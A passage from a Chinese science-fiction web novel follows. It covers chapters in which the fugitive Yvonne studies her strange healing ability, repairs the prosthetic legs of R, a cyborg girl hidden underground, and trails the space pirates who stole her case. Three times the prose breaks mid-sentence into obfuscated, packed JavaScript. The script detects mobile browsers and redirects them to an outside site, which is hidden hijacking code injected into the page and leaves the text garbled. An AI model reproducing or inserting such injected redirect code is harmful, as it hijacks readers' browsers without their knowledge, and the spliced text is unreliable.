但她不能只依靠蒙面这种手段,吃饭喝水时总要露出脸,她也不能每回都像今天有沙土弄脏脸看不清长相。她的脸被人看得多了,就有被追查到的风险。 她需要一个视觉干扰器——还不够,视觉干扰器长时间使用会对精神造成负担,而且已经有针对干扰器的特殊摄像头在市面上普及,在一些有特殊磁场的地方干扰器也会失效,用这个来伪装不够可靠。 研究塔研发过一种伪装面具,那是一层仿真皮肤,理论上可以达到改头换面的效果,不仅肉眼无法分辨,研究塔最高端的设备都无法识别。后来似乎因为管制问题被盟会叫停销毁,伊冯只看过理论资料,没见过成品实物。她还记得材料和制作方法,或许她能做出来。 她需要一个自己的研究室。 洗漱完毕,伊冯在原地等了会儿,疑惑地抬头看向四周,这里的烘干器不会还要手动启动吧?她找了一圈没看到操控面板,发现一个更让她震惊的事实:这间浴室竟然没有烘干器。这里的人清洗完是怎么弄干头发和身体的? 伊冯呆立三秒,反复念着“毕竟是栖止”走出浴室。 把治疗箱放回逃生舱中,伊冯看着丢在地上的衣物,后知后觉意识到这里不会有家政机器人主动把脏衣服收走洗净,也没有备好的干净衣服替换。 头发上的水还在滴,顺着眉骨滑过鼻翼流进唇缝,伊冯烦躁地抹开脸上的水,提起床上的毛毯裹住全身擦水。她让店主给她拿了一床新床具,新拿来的毯子还是透着股怪味。 伊冯忍耐着把毯子裹得更紧,嗅觉很容易适应环境,习惯了味道就不会觉得难闻了。她已经决定要在这里活动一段时间,就得抑制自己的不适,习惯这种味道,直到让自己染上这种味道。 既然逃离了阿吉斯,就得放弃一些东西。无法让她在外生存的习性,必须尽快抛弃。她会适应的。 为了转移注意力,伊冯打开箱子,从中心处理器拉出传输线接到终端上。逃生舱备份了飞艇的运行日志,这些数据或许能告诉她,是什么影响她穿行于时空。 16. 梦境 青瓦木房在阳光里投下房檐的影子,影子里坐着一个人,黑发半束,绣花薄披肩从肩膀一直盖住手背,她坐在凳子上,裙摆散在青石地板开了花。影子里的人面前有一个画架,她正拿着笔,将画盘上的色彩移到纸上,勾勒出一个微笑的女人。 画中的女人正站在中庭的阳光里,及肩的黑发披散着,衣着与作画者相似,眼里嘴角都是笑意。 伊冯认得作画者,是她在那片竹海里见过的黑衣女人。 眼前的画面突然闪动。她看见黑衣女人行走在阴影中,周围的景象模糊不清,纷乱的场景飞速掠过,她只能勉强从混杂的片段里看见许多不同的人。 黑衣女人的步子很慢,面无表情地睁着黑白分明的眼睛看着前方,背后闪动的画面渐渐变缓、清晰,镜头推进,众多画面从许多人中聚焦在一个人身上,定格成无数人物画。画中的人有着不同的脸和不同的衣着,但都有一双恬静温和的眼睛,带着笑意从画中望着观画人。 黑衣女人从那些画下走过,推开两扇雕花木门,景象又发生变化。 伊冯看到一张床,之前站在阳光里做黑衣女人模特的女人躺在床上,睡颜平静,姿势放松,看起来床具的舒适度很好。 黑衣女人站在床边看了一会儿,慢慢双膝着地跪下,从袖中拿出一把匕首。 她轻轻拉过床上女人的右手,用刀划破对方的手掌。 床上的人被刺痛惊醒,睁眼看到她的手被摁在黑衣女人的脖子上。 女人坐起并抽回手,脸上疑惑的茫然很快变为冷静的审视。 黑衣女人的脖子上画有一圈黑色的图纹,沾上的血迹自行沿着纹路扩散,图纹随着血液发亮,最后隐入皮肤下,白皙不见任何瑕疵。 床上的女人闭了闭眼,说:“我以为我们是朋友。为什么?” 黑衣女人跪在床边仰头望着她,在她这句话后立刻滚落了眼泪,轻声地说:“我想为我做错的事弥补你,但我除了我自己,什么都没有——所以,我只能给你这个。” “我想要的是朋友,不是仆从。为什么你不能平等地看待我?”女人叹息着,“你明知道我讨厌被人跪拜。” 黑衣女人只是落下更多的眼泪,沉默地伏在床边。 女人用床单抹干净掌心的残血,手心已不见伤口,完好如初。她忽然转头看着空气中的某处,沉静的目光直直撞进伊冯眼中,仿佛在与她对视。 又是穿越的后遗症?穿越后就会梦到那个世界曾发生的事吗? 伊冯睁开眼,终端上的时间表示她睡了三十四个小时。还好,没有真的把一天四十八小时睡过去。 昨天她调出了空间跳跃器启动时的数据,从日志记录来看,那艘飞艇自启用开始,只开启过五次空间跳跃器,其中还有两次是她操作的。数据有限,就算有几条记录引起她的注意,也因为样本太少不能确定那意味着什么。 然而她现在手上只有这些数据能用来验证自身的异常,就当是为了转移注意力忽略房间的异味,只能强打精神一条条比对。她看着数据睡着了,裹着毯子头发都没檫干,睡姿不正,这会儿浑身酸疼。 伊冯龇牙咧嘴地把毯子甩开爬起来。头发已经干了,但不知是没洗干净还是闷在毯子里阴干的原因,一缕缕地黏在一起;身上也有股不清爽的黏腻感。 她舒展着身子缓解不适,走到镜子前检查身上的伤口,和昨晚看到的没什么区别。 “好慢啊……” 伊冯抱怨着。她上一次受伤是四年前,不适应以诺新增加的训练项目划伤了后背,伤处敷药养了两天才恢复。现在这些划痕虽然浅,要完全消退正常也要几天时间吧。 “正常”,脑内突然闪过什么,伊冯屏息抓住那一瞬的念头,想起一些幼年时的往事。 那应该是她刚开始接受以诺的特训时发生的事,那时她六岁,不可避免地反复受伤。 她记得,小时候的自己,伤总是好得很快。 她回想起的记忆中,自己的手掌被划破涌出鲜血,以诺单膝着地在她面前,牵着她的手用手帕擦掉血液,而后露出白嫩无瑕的掌心。 “正常来说,这种伤敷药两天以上才能消疤。你的恢复能力很强,这也有坏处,你会轻视危险,放任自己被伤害。这或许也是你训练进度较慢的原因。”以诺低头用手帕擦去地上的血滴,记忆里没有他说这些话时的表情,“就算愈合能力强,你也会疼。你要学会保护好自己,不要受伤。” 然后,某天起,她受伤就不再能立刻恢复了。 是什么时候开始的?伊冯抓着洗手台边缘逼迫自己回想,她的记忆里就有这么明显的破绽,她的身体那么早就显现出异常,为什么现在才意识到?! 越是想记起来,涌出的画面越是混乱,伊冯只能深呼吸着平复身体的颤栗让自己冷静。暂时没想起来也没关系,只要有适当的刺激和关键信息联想,她总会想起来的。 之前没想起这件事,或许只是因为她每次受伤都间隔许久,想当然地以为自己长大了没有小孩子那么强的恢复力,于是自然而然地淡忘了起初异常的恢复速度。再加上以诺有意隐瞒推波助澜,她无法意识到自己的不同。 如果不是梦境的夸张加工,那个女人和她是一样的,能在极短时间内痊愈。梦里的那个女人和她有什么关系吗?她们有着相似的基因吗?黑衣女人知道如何解开以诺的手环,又与那个女人有什么关系吗? “唉……”伊冯挥去额头上的冷汗,不用发生别的事,光是这样每天不断发现自己身体的秘密,就足够让她“惊喜”了。 心情终于平复,伊冯继续对着镜子检查伤口,这次她前所未有的仔细认真,把每一处伤痕的状态都在终端记事本里进行记录,以便对照比较。 检查到脖子时,伊冯下意识用手挪开项链,又回神抓住项链:这条项链从她记事来就戴着,以诺总强调任何情况都不能摘下它——虽然她偷偷摘掉过很多次,但以诺这么在意,是不是这个项链也暗藏玄机? 伊冯摘下项链,细银链串着水滴形项坠,设计上没什么出彩特别的地方。材质她早就研究过,链子和坠托都是普通的银,镶嵌的是一块小拇指指甲盖大的水滴形红宝石。除了以诺那让人在意的叮嘱外,完全没有特别之处。 这次离家前,她在以诺的暗格里见过一块红色宝石,成色与项坠上的这颗很像。这条项链肯定有什么她不知道的特殊作用。早知道她该把暗格里的东西全带走,现在要验证两者间的关系不现实了,只能以后找机会。 伊冯把项链放一边,继续记录身上的伤痕状态。 完成洗漱走出浴室,伊冯把地上的脏衣服踢到一边,打开逃生舱拿出应急物资箱里的衣物。虽然衣服上有阿吉斯的家徽,为了照顾特殊情况,都是方便拆卸的设计。把标志扯下来和项链一起塞进箱子角落,穿上宽松的长衣长裤,用调节带调整到符合她的体型又不影响活动的程度,再扣上活动钮。 伊冯把昨天买的长袍子披上,遮好面部离开房间。 店主说她要看店,不能给伊冯带路,只告诉她大致方位,让她自己找过去。店主说完,拿出粒豆子大的金子说是定金。 伊冯:“……” 看来维修费全款也高不到哪去。先找诊所,顺路的话再过去吧。 旅店不供餐,去蒙涟娜的店里又会被追问那个不存在的解毒剂,伊冯在街角找到一家杂货店,成功识破老板试图开高价的行为,买下一袋压缩饼干。 终于按预想完成一次消费,伊冯心情愉悦地咬着饼干,继续寻找诊所。 一袋饼干的能量消耗完毕,伊冯还是没看到一个靠谱的诊所。医生不靠谱就算了,她可以租用设备自己来,只要能抽血化验就行。以诺总要抽她的血,她的血里应该存在有价值的信息。但她看到的净是些自制的粗糙工具,连最基础的针管都是非规制、循环使用,令人疑惑那些东西究竟是用来治病还是杀人。 伊冯点开从极武帮飞船上下载的星图,离栖止最近的一个物资交流站要经过两个中转站和一个跳跃点。栖止没有公共交通,要进行星外行程只能自驾。 逃生舱勉强能充当载具,但它的芯片已经被她充作进城费,要重新制作一个能源芯片需要材料和工具,这又带出另一个问题,她现在不能动账户上的钱,得挣钱才能负担计划中的每一步。 昨天是有人主动招惹,让她以牙还牙拿到一些金子,这种做法只能存在昨天。昨天她刚进城又是别人挑衅,她反击表示自己不是能随便拿捏的软柿子;后来在蒙涟娜的店里,那些食客也见识了她的不寻常。今天一路下来,那些打量的眼睛都收敛隐蔽了许多,没人凑到她跟前惹事,她自然没有了“拿补偿”这种收入来源。 她得有一个稳定可持续的收入来源。 伊冯看了眼附近建筑上不知哪个佣兵团的旗帜,又转向旅店前台说的地点方向,皱着眉头在原地沉思几秒,还是撇头走开:先吃饭。 伊冯见到一家专门卖包装食物的店,在那里用了比早上便宜一半的价格买下几袋压缩饼干。付款后,伊冯啃着饼干继续在城里走动,找杂货店老板算账的事可以留到回旅馆的路上顺便完成。 栖止城内因为东西盟驻点的存在分了东西城区,她为了保险一直在东城区活动,这会儿逛到了东盟驻点。 东盟的驻点在一众低矮平直土黄的建筑中十分突出显眼。浓郁东方风格的结构与鲜艳浓郁大片红色,让伊冯在看到的第一眼就在周围找防护罩。栖止城的防护罩在入夜后会关闭数小时节约能源,一天开合数次的城门也会让风沙卷入,这建筑能保持这么鲜亮的颜色,肯定是自己设置了防风沙装置。 她站在街对面到处看的行为似乎有些显眼,门口的守卫注意到她,手指搭上武器保险开关。 伊冯不想生事,维持之前的步调慢慢走开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621588|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没走远几步,驻点的大门打开,一个穿着帷帽的人被许多人簇拥着出来,帷帽淡青色的薄纱遮挡了样貌,行走的姿态优雅得显出些高傲。围着这人的都穿着驻点的制服,看来是东盟来的某位人物。 有不少人想看热闹,伊冯低调地随着路人的步子跟在那群人后面。 她们一直走到城门,城门正在这时打开,进来了一队满载货物的商队。 风沙涌入,被护在中心的帷帽人的帽纱不见翻动,倒是她周围的职工狼狈地抬手遮挡。 帷帽人没理会别人,在商队全进城让出了路后,直接走入城外的风暴中。她的衣物不为环境所动,伊冯隔着段距离也能看清她腰上挂着的木牌,上刻一个“叶”字。 无人出入,城门再度合上,东盟驻点的人把嘴里的沙子吐干净,低声说些抱怨的话回去了。 周围看热闹的却还不散,三五扎堆地议论起来。 “那是叶家的吧?听说早上西边有人看到阿吉斯的,这两天怎么了,又是阿吉斯又是叶家的,栖止终于挖出值钱东西了?” “你不知道?昨天那几个打群架的炸了艘阿吉斯的船,现在西盟在找人背锅呢。当时参与的佣兵团有两个地盘在城东,东盟肯定得防着西盟找借口生事。” “还是那几个太飘了,星盟的不管事归不管,真以为自己有能耐在栖止划地盘呢?极武帮昨天打架倒是占了便宜,要是西盟咬死了是极武干的,东盟肯定要把这麻烦丢了。” “极武帮终于要倒霉了吧,听说昨晚基地都被砸了。” “昨天西盟就动手了?” “好像是内讧,谁知道?大门都掉了半边,肯定出了事。” “这些天离那几个团的地盘远点吧,那帮人过得不顺心肯定也要找别人麻烦。还有西盟的,谁知道会不会为了给阿吉斯交差,又不想得罪大势佣兵团,就找小虾米顶罪。” “哈哈哈看她们敢不敢闹到东城来,要是赖到东盟头上,那就有好戏看了。” “你什么毛病,你以为你是坐在塔尖看戏的贵族呢?两盟真闹起来,城里谁能不被波及?” “我就是说说——要是我说的能作数,我明天就当盟会主席。” 阿吉斯的人已经来过了?还好她昨天就进了城,之后也基本都在东边活动。那个极武帮麻烦缠身,短期内应该不会主动寻她麻烦。 伊冯悄悄离开人群,继续往没走过的街道找诊所。 如果必要,她可以打驻点的主意。守城门的卫兵明目张胆违规收罚金,城里的这些驻点官员,大约也会搞点牟利的小动作,她或许能钻空子拿到驻点内的医疗物资。目前她的需求还没有急迫到想主动和官方的人产生接触,手上也没有合适交易的东西,不用认真考虑。 伊冯吃完了第八包压缩饼干。她已经努力降低要求,还是找不到一个满意的诊所——短期内不能去西城区,再没有合适的,就只能找研究室自制设备。 她今天一路走来,看到几间勉强符合她最低要求的工作间,看起来是给武器维修保养的,虽然简陋,但出来就不能强求家里的条件。她得记住阿吉斯和研究塔拥有的是全宇宙的顶端条件,她既然离开,就不能畏惧从零开始——再说了,在家里的地下室,她从螺丝钉开始组装设备的事还少干了? 伊冯把空饼干袋丢进垃圾桶,去找前台说的那个“在找人修东西的熟人”。 前台给的不是具体位置,而是“从旅馆大门出去沿左手边的路走过三个路口右转……”这样的零碎信息。伊冯依着记忆下的路径走进偏离大路的巷子,左转右拐地走了将近两个小时,城墙拦住了去路。 “……那有个土灶,上面盖着木板,敲三下长三下短,就能找到人了。” 伊冯看着墙角下的一堆杂物,虽然向前台确认过“土灶”是用泥土堆叠出的中空圆柱形、用以聚热的装置,但这里堆了太多东西,不好分辨。 前台指了这条路来,而不是直接说“往西那面城墙下”,应当就在这巷口附近。 掏出扫描仪对着杂物堆,没有生命迹象,伊冯压低手腕,对准地下。 有一个生命反应,杂物堆下有地下室。但空间很小,扫描图上显示的人影形状也有些怪异。 伊冯顺带扫描一圈周边地下,周围的地底是原始的岩石层,没有她想象的地下城。 靠扫描出的空间图,伊冯从杂物中挖出那个“土灶”,按前台说的敲了六下。 扫描图像里,那个人像没有动弹,伊冯又敲了一次,总算看到人像开始向上移动,但动作很慢。 伊冯看了眼那些被她丢到一边的杂物,要修的机器肯定在地下室里,但愿对方能自觉点带上来,不用她下去修。 木板终于被翻开,伊冯顺者木板上那只机械手臂往里看,一个用粗糙的缝合线拼出五种肤色的脑袋正仰头看她。 难道要维修的对象,就是这个“人”? 17. 地下 这个“人”的头部被粗线缝制在一起,拼接脑袋皮肤的材质中甚至混杂着一块经过鞣制的皮革,占据了右眼下方的半边脸,带着强烈的非人感。大部分拼接处没接合好,皮堆叠隆起,让脑袋的形状崎岖怪异。 如果不是与探测器上的人像活动一致,伊冯宁愿相信这是个制作者水平不足做出的劣质机器人。 土灶里的人露出脑袋后没有继续往外爬,把右手臂打横,掀起一块金属板,露出下面的屏幕。 屏幕上出现文字:【你好新医生我是R】 伊冯蹲下和R视线齐平,看着她泛灰缺乏生气的眼睛。目前的机器人制造技术,不足以模拟出可以骗过探测器的生命体征,这个“R”外表再怎么非人,也不是机器。 伊冯说:“我不是医生,是维修员。介绍我来的人看中的是我修机器的技术,你身上出问题的,应该也是机器部件?” R手臂上的屏幕出现新的文字:【我的脚坏了】 伊冯说:“你上来,让我看看你的脚。” R摇头,屏幕随之更新文字:【我不能出去】 脚部器械失能,无法爬出地下,所以才只露脑袋和她交流吗?伊冯看向R身后的昏暗地下,问:“要我跟你下去?下面的空间够吗?” 【医生总是在下面帮我治病】 R缩进坑洞里,伊冯等到探测器显示的人像下得足够深,也钻入洞里。 顺着爬梯往下大约十米,地道折向,平行于地面,要前进只能匍匐爬行;墙壁上间隔着设置了照明灯,灯具因老旧而昏暗发黄,只够勉强视物。 R的身体折射着灯光成了地道里最明亮的物体,从背影看到的部分都由冷光的金属组成,伊冯猜测她身上机械的部分占比已经超过了肉/体。 地道的宽度足够一人行动,但身上的袍子让伊冯的动作很不顺畅,她爬了几步就停下喊住前面的R:“我们还是在地面修理吧,我可以把你搬上去。” 前面的人停住,地道的宽度和她不便利的身体让R难以转身,她把右手臂背到身后,拧到让屏幕正对伊冯的角度:【我不能出去】 伊冯问:“你说的‘不能’,不是脚部受损无法支撑你走出地道,而是因为某种原因你不可以离开地下?” 【对】 “什么原因?” 屏幕上的文字没有更新。 毕竟她们刚见面不到五分钟,不愿意说也正常——伊冯把长袍下摆捞到肩部打结挂住,继续往前。 R收回手臂,缓慢地发出拖行的声音。 爬行过大约二十米,地道折向往下;向下十米,通道再次改向。如此曲折数次,她们才终于离开地道,进入一个宽敞明亮的空间。 伊冯立刻将注意力集中在R的身体上,在这里她就可以看清R的外观。 在地上已经见过R的脑袋和右臂,R的左臂还保留大部分人类上肢的形状,拇指和食指缺失,用扁平的金属条替代;躯干部分有衣物包裹,从形状上看还算平常,只是在腰上绑着一块实体键盘,从连接的线路来看,是用来操作R右臂上的那块屏幕。至于下肢,则完全由机械替代——那只有骨架结构的义肢与上半身极不协调,两只腿的义肢骨架的构造不同,也不是出自同一个厂家。右边义肢比左边义肢大了一圈,R扶墙站着都习惯性向左下倾。 伊冯走到R面前,问:“我可以碰吗?” 见R点头,她蹲下把双手放上去,用手掌感受义肢的材质和磨损程度。 从磨损情况来看,在不久前骨架外应该都有包裹外壳;骨架上有多处凹陷,痕迹有新有旧,外壳应该存在缺陷,防撞击能力不足。 现在市场上流通的都是研究塔生产的生物科技义肢,最后一间不属于研究塔的义肢制造厂在五年前关闭,未出售的商品被集中销毁。也就是说,R身上的义肢至少已出厂五年。 骨架关节上涂有有色识别剂,虽然有磨损缺失,能看到颜色就说明售出后从未更新零部件,也从未拆装维护。 从R的行动来看,两条义肢已经无法执行屈膝等动作,只能僵直着被挪动。伊冯让R跟着她的指示移动左右义肢,左义肢的情况要好些,起码脚踝部分还能转动。现在她手上没有专业工具,得拆开看具体的部件情况判断故障原因。 伊冯环视四周,没有适合做操作台的平面,问R:“你晚上在哪里睡觉?你躺上去,我继续给你做检查。” R“说”她的床铺在更深处,扶着墙转身慢慢挪动两只义肢带路。 她这种走法,伊冯过五分钟再跟上也跟不丢,她转开视线,观察这个地下空间。 看起来像是过去挖掘地下矿物遗留下的矿洞,后期做了简易加固措施,改装成了供人居住的处所,各种物件都贴墙摆放,确保动线通畅。 这个空间和伊冯在探测器上看到的不一致,大了三倍有余。R把她带到了另一个地下室? 不应该,她们进入地下后的路线虽然曲折迂回漫长,但相对移动位置不大,不会到达超出她探测范围的位置。 伊冯再次打开探测器,仪器上显示的空间与她在地面上检测到的一致,比她肉眼所见小得多。 没发现近似屏蔽器的器械,洞壁上细碎的矿石引起伊冯的注意。探测器上显示出的区域洞壁没有杂石,这就是原因? 或许嫌走路移动太慢,R再度趴在地上,用手拖动着身子前进。伊冯悄悄靠近屏蔽区域切下一角矿石藏进口袋,然后快步走到R身边把人打横抱起,让R用手指路。 R的骨架比伊冯大,但骨头和皮之间几乎没肉,即使身上加了一堆配件压出些重量,也没伊冯的逃生舱箱子重。伊冯抱器材都没这么轻松过,腾出手从口袋掏出一包压缩饼干让R拿住。 R拿着饼干低头看伊冯,伊冯被她看得头皮发麻,催促R指路。伊冯曾在庭院捡到一只受伤的鹦鹉,她给鹦鹉喂食时,那只鹦鹉也有这样的眼神。那只鹦鹉是附近人家走失的宠物,人怎么能露出宠物一样的眼神。 R的卧室有些出乎伊冯预料,虽然是地下挖出的坑洞,但洞壁三面贴着洁白的墙砖,墙砖上贴满了星星贴纸;中央放置的宽大床铺套着嫩绿色的床品,看着柔软又温馨;床边有个用运货用的铁箱改制的矮柜,画着几朵笔触稚嫩的花。 床上左边隆起一块,被子里有东西。 伊冯问那是什么,R身体僵硬地躲闪着眼神,眼睛往床的方向飘了好几回,才按动腰间的键盘,在显示屏上打出字回答她:【我的莎莎她是只小熊】 睡觉时抱的玩具熊吗?伊冯小时候也有过伴睡玩具,不过早上醒来时布偶们总被她打下了床,就都摆到书房去陪读了。 玩具厂商设计出了很多类型的玩具,会呼吸、有体温的玩具不新奇,但能被探测器误判为生命体的可从没见过。 伊冯没揭穿R,把她放在床上右边的空位,说了声“我开始了”就顺着关节拆下了右小腿。R瞪大了眼睛,有些慌乱地想坐起来,伊冯按住她的肩膀说:“义肢的感官反馈功能还没完全坏掉,连接状态下,我做什么你都会更难受。条件有限,我先拆分成小份,分次检查修理。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“至于维修的费用,我的要价,你们应该付不起。”伊冯见R立刻变得紧张,笑说,“地下这么大的空间,分我一些做工作室抵钱吧。我也住在这里的话,更方便修理你的身体。” R又咧着嘴笑着点头,点完头又想起什么摇摇头:【我不能答应你我要问问】 是让她留在地下、为她布置了卧室的人吧。伊冯不多问,约定好次日见面的时间,R陪她原路返回,一路送她回道地面。 R在洞口仰头望着她,还是那张热烈地笑着,因为脸部崎岖而灿烂得刺眼的脸。 伊冯伸手又在她脑袋上揉一把,让她在下面多活动活动腿,机器都是越不用越爱坏。 伊冯走开一段,洞口的木板才盖上。 她回望那个在杂物中不起眼的土灶,没有人应该永远被束缚在方寸之地。R该有一个更好的身体,一个可以自由行动、看遍所有星星的身体。 R回到卧室,拿着伊冯给她的饼干坐到床上,拉开被子,一双惊恐的眼睛望着她。蜷缩在被子下的是一个人,斑白的头发蓬乱干枯,米袋剪了几个洞套在身上当衣服,四肢健全但瘦得只有骨架子。 【新医生没发现你】 R把显示屏放到这个人眼前给她看,再把饼干打开掰给她一半:【是新医生给我的】 对方看到饼干,转着眼珠子确认周围没有别人了,才发着抖从R手里接过饼干,放在嘴边一点点用牙齿磨着吃。 R边啃饼干,边看着墙砖上的星星贴纸,晃动刚修好的两条腿。 18. 星匪 伊冯指间转动着杂货店老板退回的金块回到旅店,进了门,店主分明看到她,却移开视线手里做一堆无用的小动作装忙。 店主和R都是灰瞳,年纪也够当R的母亲,她清楚地下室的入口位置,还为R付了维修义肢的定金,这两人是什么关系不难猜。 伊冯问:“是你叫R不要到地面上来吗?” 店主好像才发现她似的,招呼道:“你回来了?要打扫房间吗?你不在我也不好擅自进去,清洁机现在正闲着。” “我想给R做一套新义肢,她的脸也可以重新植皮。”伊冯盯着店主的眼睛,认真地说,“你不让她离开地下,是因为她的外表吗?” 店主低头擦拭着手里的金属摆件,说:“那一身破烂已经是她能用到的最好的,哪有那么多闲钱换新的。” 伊冯皱眉,看着店主把那个已经能映出人影的摆件翻来覆去地擦。她不说话了,转身上楼,店主又在她身后问要不要做清洁。 伊冯气她总不正面回答自己的问题,还假殷勤,不耐烦地挥手让她随便。 清洁机很快启动跟着她上楼。 伊冯打开房门,清洁机从她身后上前,正掏出机械臂进屋工作,伊冯突然伸手按下待机键,挤开机器进门。 屋里进过人。 伊冯在屋内快速检查一圈,她的箱子不见了,地上的脏衣服被踩了几个新鞋印,小偷至少有三人;以她自己留下的脚印做对照,这些鞋印的主人应该和她体型相差不大。屋内有被翻找过的痕迹,但没留下多余的线索让伊冯提取信息,应该有戴头罩手套一类的东西防止基因信息遗落。用终端连上门锁查看系统记录——门上次打开是在一小时前,之前有过一次报错,门锁上有两道新鲜的划痕,应该是用解码器开的锁。 伊冯回到一楼,把店主从柜台里拎出来。她主动招呼要打扫卫生,是为了撇清关系表示自己没进去过,她一定是知道有小偷进去过。 店主哆哆嗦嗦地交代那是星匪,装作普通客人进店,把店里扫荡一空,她不敢揭穿,只能看着人进店看着人跑。 伊冯不信:“星匪怎么进的城?” “只要交得起进城费,那些守卫什么都敢放进来。”店主小心地转动着头,让被揪住的衣领不勒住脖子影响她说话,“东西盟驻点有自己的安保系统,根本不管城内其他人死活。” 伊冯说:“但进城要交进城费。为了偷东西交一笔数目不菲的进城费,这是什么亏本做法?” 店主的眼睛往伊冯脸上瞄了一眼又迅速移开:“……这我哪知道。” 伊冯揪着她领口的手加重力气,说:“你知道,告诉我。” “咳咳,你想,要是每次进城都要一笔那么高的进城费,那些每天进出的佣兵怎么活?谁愿意当这种冤大头?”店主觑着伊冯已经反应过来而不好看的脸色,不敢直白说那是坑新人的,小心地吐字:“经常进出的,会去驻点那办张通行证,凭证进出。” “星匪怎么办的证?”驻点的人再荒唐,也不至于如此光明正大地给罪犯办业务吧? 店主说:“那是会守规矩的人吗,当然是抢别人的通行证。” 伊冯松开店主的衣领,打量着她心虚的脸色,说:“屋顶上挂着佣兵团的旗,那个团不管事?” 店主揉着脖子,尴尬又无奈地小声道:“那旗是二十金币买的,说白了就是保护费,这个团的人不会来店里找麻烦。如果别的团来找事做过火了,让人觉得丢脸了,那是会出头,但如果只是客人的东西被偷了……” 她没说完,但意思已经很明显,这种“小打小闹”的行为,除了受害者没人会在意。 伊冯不爽地哼了一声,问:“既然你认得她们是星匪,那就是上过通缉榜了。官方也什么都不做?” 店主嘲讽地轻笑,说:“怎么叫什么都不做,不是发了通缉?” 她说完似乎觉得不好,又补上一句:“星盟标的奖金还挺高,算是鼓励佣兵们去抓。” 伊冯问:“奖金是多少?” 店主回说:“好像是过万了——你想抓?你是佣兵?” 伊冯没回话,定位器上箱子的定位在向城外移动,先去抓人把东西拿回来。 伊冯一路追出了城外,城外依旧是漫天黄沙。她打开保护罩,直冲定位器上显示的位置。 那伙星匪走得不快,她半个小时后在风沙中见到了几个人影,有五个人。 伊冯裹紧脸上的布,关掉保护罩,慢慢跟上。 隐约能听到她们在说话,音量不小,可惜风太大,她离得远听不清。这五个人走得慢,保持着可以相互支援的队列,防范被追击偷袭。伊冯找不到时机出手,只能耐心跟着。 就在伊冯的耐心将要告罄时,探测器显示前方山谷中有飞行器。伊冯看了眼那伙星匪不见加速的步调,调转方向绕到前头。 “难怪头儿从不打栖止的主意,大爷的这破地方奶奶我再也不来了!”星匪队列中,走在最前方用外套裹住头挡风的高个子大喊着:“又穷又破!走一圈什么值钱东西都没捞着,垃圾星都比这里富!” 走在中间的女人戴着褐色的护目镜,拉高了衣领挡住口鼻,声音发闷:“行了,别抱怨了,有你赚的。” 队伍行进方向右侧的灰袍子说:“桑姐,你一听说这有个阿吉斯的飞艇炸了,就带我们赶过来,阿吉斯的东西有那么值钱?” 左侧戴着防护面具的也瓮声瓮气地接话:“就算值钱,也都被那些佣兵就近捡了。虽然桑姐说不能空手走,但我们在城里刮了一圈,都是破烂。出城前运气好忽悠到一个冤大头买走几个小玩意儿,剩下的这些东西怎么办?” 最后方的矮个子声音最大:“那人还想连着那个破箱子一起买呢,桑姐你为什么不卖啊?” “这东西现在卖,就卖贱了。”被叫桑姐的女人提高手里的箱子,冲后方摇摇,“那人大概看出这箱子材料高级,但和你们一样,没认出这是研究塔的科技。” “研究塔?!” “研究塔的商品都是高价,还挑剔买主——听说在黑市,研究塔里顺出来的一支笔都能拿来拍卖!” 桑姐大笑两声,说:“越是识货的,越觉得这东西贵。你们以为我为什么眼馋阿吉斯的飞艇?全星盟就这家最招摇,只用研究塔的东西!这个箱子卖出去,够我们逍遥一阵了!” 那四人心情顿时也好了许多,说说笑笑地往她们停在隐蔽处的飞行器走去。 舱门打开,几人走入飞行器,把偷来的东西堆在一边,终于能拿下脸上的遮挡物,放松地舒展身子拍去身上的沙土。 桑姐把护目镜拉下挂在脖子上,散开头发抖下附着的沙子:“改天装个淋浴间在这里,每次做完事都脏得很。” “我同意!”高个子把脏得看不出原色的外套甩在地上,露出一说话就眉飞色舞的圆脸,“千红总嫌我有味道,出汗没洗澡当然会有啊!” 戴着面具的那个是千红,她把面具挂在墙上,有厚重黑眼圈的眼睛眯起,不知是困还是在嫌弃,说:“你那沾水就叫‘洗’的洗法,有十个淋浴室,还是会臭。” 矮个子从掐在一起的两人旁边绕过,她的外套还好好地搭在手臂上。她左右看看:“阿洁没有启动?” “我才给她换了新的电池!阿洁越来越会偷懒了。”灰袍子把袍子脱下沿墙边放下,边把散乱的马尾重新扎好边往里走。 “阿洁都是申雨在照顾,养出一样的脾气了。”矮个子笑嘻嘻地跟在她后面一起进去。 桑姐走到驾驶室,在副驾驶位坐下,叫停那两个在互相揪鼻子的:“千红、七星,别闹了,先回去。” 千红坐进主驾驶位,脱下手套握住驾驶仪读取操作员信息,启动飞行器——系统并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621590|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如平常那般回应她。 桑姐见她脸色不对,问:“怎么,出故障了?” 千红说:“不知道为什么,启动不了……” “我就说栖止是个破地方!”七星又嚷嚷起来,“我们和这鬼地方也太不对付了,阿洁不工作,猩红也不动了!” “闭嘴!”桑姐让千红继续尝试发动,她去看能源仓的状态:“七星,你去叫申雨和小豆,我们可能得在这过夜。让申雨看完阿洁,来看猩红又是什么毛病。” 